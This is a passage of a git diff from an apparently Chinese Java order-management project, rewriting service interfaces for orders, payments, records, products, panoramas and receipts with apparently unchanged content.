订单模型Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpOrderModelService extends MPJBaseService { - - /** - * 查询订单模型 - * - * @param id 主键 - * @return 订单模型 - */ - TpOrderModelVo queryById(Long id); - - /** - * 分页查询订单模型列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单模型分页列表 - */ - TableDataInfo queryPageList(TpOrderModelBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的订单模型列表 - * - * @param bo 查询条件 - * @return 订单模型列表 - */ - List queryList(TpOrderModelBo bo); - - /** - * 新增订单模型 - * - * @param bo 订单模型 - * @return 是否新增成功 - */ - Boolean insertByBo(TpOrderModelBo bo); - - /** - * 修改订单模型 - * - * @param bo 订单模型 - * @return 是否修改成功 - */ - Boolean updateByBo(TpOrderModelBo bo); - - /** - * 校验并批量删除订单模型信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpOrderModel; +import org.dromara.work.domain.bo.TpOrderModelBo; +import org.dromara.work.domain.vo.TpOrderModelVo; + +import java.util.Collection; +import java.util.List; + +/** + * 订单模型Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpOrderModelService extends MPJBaseService { + + /** + * 查询订单模型 + * + * @param id 主键 + * @return 订单模型 + */ + TpOrderModelVo queryById(Long id); + + /** + * 分页查询订单模型列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单模型分页列表 + */ + TableDataInfo queryPageList(TpOrderModelBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的订单模型列表 + * + * @param bo 查询条件 + * @return 订单模型列表 + */ + List queryList(TpOrderModelBo bo); + + /** + * 新增订单模型 + * + * @param bo 订单模型 + * @return 是否新增成功 + */ + Boolean insertByBo(TpOrderModelBo bo); + + /** + * 修改订单模型 + * + * @param bo 订单模型 + * @return 是否修改成功 + */ + Boolean updateByBo(TpOrderModelBo bo); + + /** + * 校验并批量删除订单模型信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderPayService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderPayService.java index aa5a08e..26fe3fc 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderPayService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderPayService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpOrderPayBo; -import org.dromara.work.domain.vo.TpOrderPayVo; - -import java.util.Collection; -import java.util.List; - -/** - * 订单支付记录Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpOrderPayService { - - /** - * 查询订单支付记录 - * - * @param id 主键 - * @return 订单支付记录 - */ - TpOrderPayVo queryById(Long id); - - /** - * 分页查询订单支付记录列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单支付记录分页列表 - */ - TableDataInfo queryPageList(TpOrderPayBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的订单支付记录列表 - * - * @param bo 查询条件 - * @return 订单支付记录列表 - */ - List queryList(TpOrderPayBo bo); - - /** - * 新增订单支付记录 - * - * @param bo 订单支付记录 - * @return 是否新增成功 - */ - Boolean insertByBo(TpOrderPayBo bo); - - /** - * 修改订单支付记录 - * - * @param bo 订单支付记录 - * @return 是否修改成功 - */ - Boolean updateByBo(TpOrderPayBo bo); - - /** - * 校验并批量删除订单支付记录信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpOrderPayBo; +import org.dromara.work.domain.vo.TpOrderPayVo; + +import java.util.Collection; +import java.util.List; + +/** + * 订单支付记录Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpOrderPayService { + + /** + * 查询订单支付记录 + * + * @param id 主键 + * @return 订单支付记录 + */ + TpOrderPayVo queryById(Long id); + + /** + * 分页查询订单支付记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单支付记录分页列表 + */ + TableDataInfo queryPageList(TpOrderPayBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的订单支付记录列表 + * + * @param bo 查询条件 + * @return 订单支付记录列表 + */ + List queryList(TpOrderPayBo bo); + + /** + * 新增订单支付记录 + * + * @param bo 订单支付记录 + * @return 是否新增成功 + */ + Boolean insertByBo(TpOrderPayBo bo); + + /** + * 修改订单支付记录 + * + * @param bo 订单支付记录 + * @return 是否修改成功 + */ + Boolean updateByBo(TpOrderPayBo bo); + + /** + * 校验并批量删除订单支付记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderRecordService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderRecordService.java index 6d6fd75..1af1f17 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderRecordService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderRecordService.java @@ -1,70 +1,70 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpOrderRecord; -import org.dromara.work.domain.bo.TpOrderRecordBo; -import org.dromara.work.domain.vo.TpOrderRecordVo; - -import java.util.Collection; -import java.util.List; - -/** - * 操作历史Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpOrderRecordService extends MPJBaseService { - - /** - * 查询操作历史 - * - * @param id 主键 - * @return 操作历史 - */ - TpOrderRecordVo queryById(Long id); - - /** - * 分页查询操作历史列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 操作历史分页列表 - */ - TableDataInfo queryPageList(TpOrderRecordBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的操作历史列表 - * - * @param bo 查询条件 - * @return 操作历史列表 - */ - List queryList(TpOrderRecordBo bo); - - /** - * 新增操作历史 - * - * @param bo 操作历史 - * @return 是否新增成功 - */ - Boolean insertByBo(TpOrderRecordBo bo); - - /** - * 修改操作历史 - * - * @param bo 操作历史 - * @return 是否修改成功 - */ - Boolean updateByBo(TpOrderRecordBo bo); - - /** - * 校验并批量删除操作历史信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpOrderRecord; +import org.dromara.work.domain.bo.TpOrderRecordBo; +import org.dromara.work.domain.vo.TpOrderRecordVo; + +import java.util.Collection; +import java.util.List; + +/** + * 操作历史Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpOrderRecordService extends MPJBaseService { + + /** + * 查询操作历史 + * + * @param id 主键 + * @return 操作历史 + */ + TpOrderRecordVo queryById(Long id); + + /** + * 分页查询操作历史列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 操作历史分页列表 + */ + TableDataInfo queryPageList(TpOrderRecordBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的操作历史列表 + * + * @param bo 查询条件 + * @return 操作历史列表 + */ + List queryList(TpOrderRecordBo bo); + + /** + * 新增操作历史 + * + * @param bo 操作历史 + * @return 是否新增成功 + */ + Boolean insertByBo(TpOrderRecordBo bo); + + /** + * 修改操作历史 + * + * @param bo 操作历史 + * @return 是否修改成功 + */ + Boolean updateByBo(TpOrderRecordBo bo); + + /** + * 校验并批量删除操作历史信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderService.java index 2e1fe94..33f00ce 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderService.java @@ -1,227 +1,227 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import jakarta.validation.constraints.NotNull; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.domain.bo.OrderRankingBo; -import org.dromara.work.domain.bo.TpOrderBo; -import org.dromara.work.domain.vo.*; - -import java.math.BigDecimal; -import java.util.Collection; -import java.util.List; - -/** - * 订单管理Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpOrderService extends MPJBaseService { - - /** - * 查询订单管理 - * - * @param id 主键 - * @return 订单管理 - */ - TpOrderVo queryById(Long id); - - /** - * 分页查询订单管理列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单管理分页列表 - */ - TableDataInfo queryPageList(TpOrderBo bo, PageQuery pageQuery); - - /** - * 新增订单管理 - * - * @param bo 订单管理 - * @return 是否新增成功 - */ - Boolean insertByBo(TpOrderBo bo); - - /** - * 修改订单管理 - * - * @param bo 订单管理 - * @return 是否修改成功 - */ - Boolean updateByBo(TpOrderBo bo); - - /** - * 校验并批量删除订单管理信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 查询订单管理(客服) - * @param bo - * @param pageQuery - * @return - */ - TableDataInfo queryCustomerPageList(TpOrderBo bo, PageQuery pageQuery); - - /** - * 查询订单管理(技术) - * @param bo - * @param pageQuery - * @return - */ - TableDataInfo querySkillPageList(TpOrderBo bo, PageQuery pageQuery); - - /** - * 查询订单统计(客服) - * @param bo - * @return - */ - CustomerOrderSumVo queryCustomerSum(TpOrderBo bo); - - /** - *查询订单统计(技术) - * @param bo - * @return - */ - SkillOrderSumVo querySkillSum(TpOrderBo bo); - - /** - * 订单指派技术 - * @param orderIds - * @param userId - * @return - */ - boolean updateOrderAssign(List orderIds, Long userId); - - /** - * 订单取消指派 - * @param orderId - * @return - */ - int orderCancelAssign(Long orderId); - - /** - * 订单支付获取订单和余额信息 - * @param orderId - * @return - */ - TpOrderVo queryOrderPay(Long orderId); - - /** - * 订单支付 - * @param orderId - * @param type - * @param price - * @return - */ - int orderPay(Long orderId, Integer type, BigDecimal price); - - /** - * 订单回退获取订单和退款金额信息 - * @param orderId - * @return - */ - TpOrderVo orderFallback(Long orderId); - - /** - * 订单回退 - * @param orderId - * @param type - * @param price - * @return - */ - int fallback(Long orderId, Integer type, BigDecimal price); - - /** - * 订单拆单获取订单和金额信息 - * @param orderId - * @return - */ - TpOrderVo cdOrderInfo(Long orderId); - - /** - * 订单拆单 - * @param orderId - * @param price - * @return - */ - int cdOrder(Long orderId, BigDecimal price); - - /** - * 订单改价获取订单和金额信息 - * @param orderId 主键 - */ - TpOrderVo gjOrderInfo(Long orderId); - - /** - * 订单改价 - */ - int gjOrder(Long orderId, BigDecimal price); - - /** - * 客服首页统计 - * @return - */ - IndexSumVo getKfTarget(); - - /** - * 技术首页统计 - * @return - */ - IndexSumVo getJsTarget(); - - - /** - * 导出客服订单 - * @param bo - * @return - */ - List queryListKF(TpOrderBo bo); - - /** - * 导出技术订单 - * @param bo - * @return - */ - List queryListJS(TpOrderBo bo); - - /** - * 回收站导出订单 - * @param bo - * @return - */ - List queryList(TpOrderBo bo); - - /** - * 修改订单信息 - * @param bo - * @return - */ - Boolean updateInfoByBo(TpOrderBo bo); - - /** - * 查询订单信息 - * @param id - * @return - */ - TpOrderVo selectById(@NotNull(message = "主键不能为空") Long id); - - /** - * 扣除违约金 - */ - int breach(TpOrderBo bo); - - /** - * 满意度接口 - */ - int satisfied(TpOrderBo bo); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import jakarta.validation.constraints.NotNull; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.domain.bo.OrderRankingBo; +import org.dromara.work.domain.bo.TpOrderBo; +import org.dromara.work.domain.vo.*; + +import java.math.BigDecimal; +import java.util.Collection; +import java.util.List; + +/** + * 订单管理Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpOrderService extends MPJBaseService { + + /** + * 查询订单管理 + * + * @param id 主键 + * @return 订单管理 + */ + TpOrderVo queryById(Long id); + + /** + * 分页查询订单管理列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单管理分页列表 + */ + TableDataInfo queryPageList(TpOrderBo bo, PageQuery pageQuery); + + /** + * 新增订单管理 + * + * @param bo 订单管理 + * @return 是否新增成功 + */ + Boolean insertByBo(TpOrderBo bo); + + /** + * 修改订单管理 + * + * @param bo 订单管理 + * @return 是否修改成功 + */ + Boolean updateByBo(TpOrderBo bo); + + /** + * 校验并批量删除订单管理信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 查询订单管理(客服) + * @param bo + * @param pageQuery + * @return + */ + TableDataInfo queryCustomerPageList(TpOrderBo bo, PageQuery pageQuery); + + /** + * 查询订单管理(技术) + * @param bo + * @param pageQuery + * @return + */ + TableDataInfo querySkillPageList(TpOrderBo bo, PageQuery pageQuery); + + /** + * 查询订单统计(客服) + * @param bo + * @return + */ + CustomerOrderSumVo queryCustomerSum(TpOrderBo bo); + + /** + *查询订单统计(技术) + * @param bo + * @return + */ + SkillOrderSumVo querySkillSum(TpOrderBo bo); + + /** + * 订单指派技术 + * @param orderIds + * @param userId + * @return + */ + boolean updateOrderAssign(List orderIds, Long userId); + + /** + * 订单取消指派 + * @param orderId + * @return + */ + int orderCancelAssign(Long orderId); + + /** + * 订单支付获取订单和余额信息 + * @param orderId + * @return + */ + TpOrderVo queryOrderPay(Long orderId); + + /** + * 订单支付 + * @param orderId + * @param type + * @param price + * @return + */ + int orderPay(Long orderId, Integer type, BigDecimal price); + + /** + * 订单回退获取订单和退款金额信息 + * @param orderId + * @return + */ + TpOrderVo orderFallback(Long orderId); + + /** + * 订单回退 + * @param orderId + * @param type + * @param price + * @return + */ + int fallback(Long orderId, Integer type, BigDecimal price); + + /** + * 订单拆单获取订单和金额信息 + * @param orderId + * @return + */ + TpOrderVo cdOrderInfo(Long orderId); + + /** + * 订单拆单 + * @param orderId + * @param price + * @return + */ + int cdOrder(Long orderId, BigDecimal price); + + /** + * 订单改价获取订单和金额信息 + * @param orderId 主键 + */ + TpOrderVo gjOrderInfo(Long orderId); + + /** + * 订单改价 + */ + int gjOrder(Long orderId, BigDecimal price); + + /** + * 客服首页统计 + * @return + */ + IndexSumVo getKfTarget(); + + /** + * 技术首页统计 + * @return + */ + IndexSumVo getJsTarget(); + + + /** + * 导出客服订单 + * @param bo + * @return + */ + List queryListKF(TpOrderBo bo); + + /** + * 导出技术订单 + * @param bo + * @return + */ + List queryListJS(TpOrderBo bo); + + /** + * 回收站导出订单 + * @param bo + * @return + */ + List queryList(TpOrderBo bo); + + /** + * 修改订单信息 + * @param bo + * @return + */ + Boolean updateInfoByBo(TpOrderBo bo); + + /** + * 查询订单信息 + * @param id + * @return + */ + TpOrderVo selectById(@NotNull(message = "主键不能为空") Long id); + + /** + * 扣除违约金 + */ + int breach(TpOrderBo bo); + + /** + * 满意度接口 + */ + int satisfied(TpOrderBo bo); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderSmallService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderSmallService.java index 969906a..9cc9dd7 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderSmallService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderSmallService.java @@ -1,70 +1,70 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpOrderSmall; -import org.dromara.work.domain.bo.TpOrderSmallBo; -import org.dromara.work.domain.vo.TpOrderSmallVo; - -import java.util.Collection; -import java.util.List; - -/** - * 订单小图Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpOrderSmallService extends MPJBaseService { - - /** - * 查询订单小图 - * - * @param id 主键 - * @return 订单小图 - */ - TpOrderSmallVo queryById(Long id); - - /** - * 分页查询订单小图列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单小图分页列表 - */ - TableDataInfo queryPageList(TpOrderSmallBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的订单小图列表 - * - * @param bo 查询条件 - * @return 订单小图列表 - */ - List queryList(TpOrderSmallBo bo); - - /** - * 新增订单小图 - * - * @param bo 订单小图 - * @return 是否新增成功 - */ - Boolean insertByBo(TpOrderSmallBo bo); - - /** - * 修改订单小图 - * - * @param bo 订单小图 - * @return 是否修改成功 - */ - Boolean updateByBo(TpOrderSmallBo bo); - - /** - * 校验并批量删除订单小图信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpOrderSmall; +import org.dromara.work.domain.bo.TpOrderSmallBo; +import org.dromara.work.domain.vo.TpOrderSmallVo; + +import java.util.Collection; +import java.util.List; + +/** + * 订单小图Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpOrderSmallService extends MPJBaseService { + + /** + * 查询订单小图 + * + * @param id 主键 + * @return 订单小图 + */ + TpOrderSmallVo queryById(Long id); + + /** + * 分页查询订单小图列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单小图分页列表 + */ + TableDataInfo queryPageList(TpOrderSmallBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的订单小图列表 + * + * @param bo 查询条件 + * @return 订单小图列表 + */ + List queryList(TpOrderSmallBo bo); + + /** + * 新增订单小图 + * + * @param bo 订单小图 + * @return 是否新增成功 + */ + Boolean insertByBo(TpOrderSmallBo bo); + + /** + * 修改订单小图 + * + * @param bo 订单小图 + * @return 是否修改成功 + */ + Boolean updateByBo(TpOrderSmallBo bo); + + /** + * 校验并批量删除订单小图信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpPanoramaService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpPanoramaService.java index 99b42c5..b13535d 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpPanoramaService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpPanoramaService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.work.domain.vo.TpPanoramaVo; -import org.dromara.work.domain.bo.TpPanoramaBo; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; - -import java.util.Collection; -import java.util.List; - -/** - * 全景Service接口 - * - * @author Maosw - * @date 2025-03-26 - */ -public interface ITpPanoramaService { - - /** - * 查询全景 - * - * @param id 主键 - * @return 全景 - */ - TpPanoramaVo queryById(Long id); - - /** - * 分页查询全景列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 全景分页列表 - */ - TableDataInfo queryPageList(TpPanoramaBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的全景列表 - * - * @param bo 查询条件 - * @return 全景列表 - */ - List queryList(TpPanoramaBo bo); - - /** - * 新增全景 - * - * @param bo 全景 - * @return 是否新增成功 - */ - Boolean insertByBo(TpPanoramaBo bo); - - /** - * 修改全景 - * - * @param bo 全景 - * @return 是否修改成功 - */ - Boolean updateByBo(TpPanoramaBo bo); - - /** - * 校验并批量删除全景信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.work.domain.vo.TpPanoramaVo; +import org.dromara.work.domain.bo.TpPanoramaBo; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; + +import java.util.Collection; +import java.util.List; + +/** + * 全景Service接口 + * + * @author Maosw + * @date 2025-03-26 + */ +public interface ITpPanoramaService { + + /** + * 查询全景 + * + * @param id 主键 + * @return 全景 + */ + TpPanoramaVo queryById(Long id); + + /** + * 分页查询全景列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 全景分页列表 + */ + TableDataInfo queryPageList(TpPanoramaBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的全景列表 + * + * @param bo 查询条件 + * @return 全景列表 + */ + List queryList(TpPanoramaBo bo); + + /** + * 新增全景 + * + * @param bo 全景 + * @return 是否新增成功 + */ + Boolean insertByBo(TpPanoramaBo bo); + + /** + * 修改全景 + * + * @param bo 全景 + * @return 是否修改成功 + */ + Boolean updateByBo(TpPanoramaBo bo); + + /** + * 校验并批量删除全景信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpProdService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpProdService.java index c9b82ca..da6da50 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpProdService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpProdService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpProdBo; -import org.dromara.work.domain.vo.TpProdVo; - -import java.util.Collection; -import java.util.List; - -/** - * 商品Service接口 - * - * @author Maosw - * @date 2025-03-15 - */ -public interface ITpProdService { - - /** - * 查询商品 - * - * @param id 主键 - * @return 商品 - */ - TpProdVo queryById(Long id); - - /** - * 分页查询商品列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 商品分页列表 - */ - TableDataInfo queryPageList(TpProdBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的商品列表 - * - * @param bo 查询条件 - * @return 商品列表 - */ - List queryList(TpProdBo bo); - - /** - * 新增商品 - * - * @param bo 商品 - * @return 是否新增成功 - */ - Boolean insertByBo(TpProdBo bo); - - /** - * 修改商品 - * - * @param bo 商品 - * @return 是否修改成功 - */ - Boolean updateByBo(TpProdBo bo); - - /** - * 校验并批量删除商品信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpProdBo; +import org.dromara.work.domain.vo.TpProdVo; + +import java.util.Collection; +import java.util.List; + +/** + * 商品Service接口 + * + * @author Maosw + * @date 2025-03-15 + */ +public interface ITpProdService { + + /** + * 查询商品 + * + * @param id 主键 + * @return 商品 + */ + TpProdVo queryById(Long id); + + /** + * 分页查询商品列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 商品分页列表 + */ + TableDataInfo queryPageList(TpProdBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的商品列表 + * + * @param bo 查询条件 + * @return 商品列表 + */ + List queryList(TpProdBo bo); + + /** + * 新增商品 + * + * @param bo 商品 + * @return 是否新增成功 + */ + Boolean insertByBo(TpProdBo bo); + + /** + * 修改商品 + * + * @param bo 商品 + * @return 是否修改成功 + */ + Boolean updateByBo(TpProdBo bo); + + /** + * 校验并批量删除商品信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpReceiptService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpReceiptService.java index 15903de..0224942 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpReceiptService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpReceiptService.java @@ -1,102 +1,102 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpReceipt; -import org.dromara.work.domain.bo.TpReceiptBo; -import org.dromara.work.domain.vo.ReceiptSumVo; -import org.dromara.work.domain.vo.TpReceiptVo; - -import java.util.Collection; -import java.util.List; - -/** - * 收款管理Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpReceiptService extends MPJBaseService { - - /** - * 查询收款管理 - * - * @param id 主键 - * @return 收款管理 - */ - TpReceiptVo queryById(Long id); - - /** - * 分页查询收款管理列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 收款管理分页列表 - */ - TableDataInfo queryPageList(TpReceiptBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的收款管理列表 - * - * @param bo 查询条件 - * @return 收款管理列表 - */ - List queryList(TpReceiptBo bo); - - /** - * 新增收款管理 - * - * @param bo 收款管理 - * @return 是否新增成功 - */ - Boolean insertByBo(TpReceiptBo bo); - - /** - * 修改收款管理 - * - * @param bo 收款管理 - * @return 是否修改成功 - */ - Boolean updateByBo(TpReceiptBo bo); - - /** - * 校验并批量删除收款管理信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 汇款信息统计 - * - * @param bo - * @return - */ - ReceiptSumVo queryListSum(TpReceiptBo bo); - - /** - * 认领汇款 - * @param bo - * @return - */ - int updateClaimByBo(TpReceiptBo bo); - - /** - * 回退汇款 - * @param bo - * @return - */ - int updateBackByBo(TpReceiptBo bo); - - - /** - * 新增收款管理 - * - * @param bo 收款管理 - * @return 是否新增成功 - */ - Boolean insertReceipt(TpReceiptBo bo); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpReceipt; +import org.dromara.work.domain.bo.TpReceiptBo; +import org.dromara.work.domain.vo.ReceiptSumVo; +import org.dromara.work.domain.vo.TpReceiptVo; + +import java.util.Collection; +import java.util.List; + +/** + * 收款管理Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpReceiptService extends MPJBaseService { + + /** + * 查询收款管理 + * + * @param id 主键 + * @return 收款管理 + */ + TpReceiptVo queryById(Long id); + + /** + * 分页查询收款管理列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 收款管理分页列表 + */ + TableDataInfo queryPageList(TpReceiptBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的收款管理列表 + * + * @param bo 查询条件 + * @return 收款管理列表 + */ + List queryList(TpReceiptBo bo); + + /** + * 新增收款管理 + * + * @param bo 收款管理 + * @return 是否新增成功 + */ + Boolean insertByBo(TpReceiptBo bo); + + /** + * 修改收款管理 + * + * @param bo 收款管理 + * @return 是否修改成功 + */ + Boolean updateByBo(TpReceiptBo bo); + + /** + * 校验并批量删除收款管理信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 汇款信息统计 + * + * @param bo + * @return + */ + ReceiptSumVo queryListSum(TpReceiptBo bo); + + /** + * 认领汇款 + * @param bo + * @return + */ + int 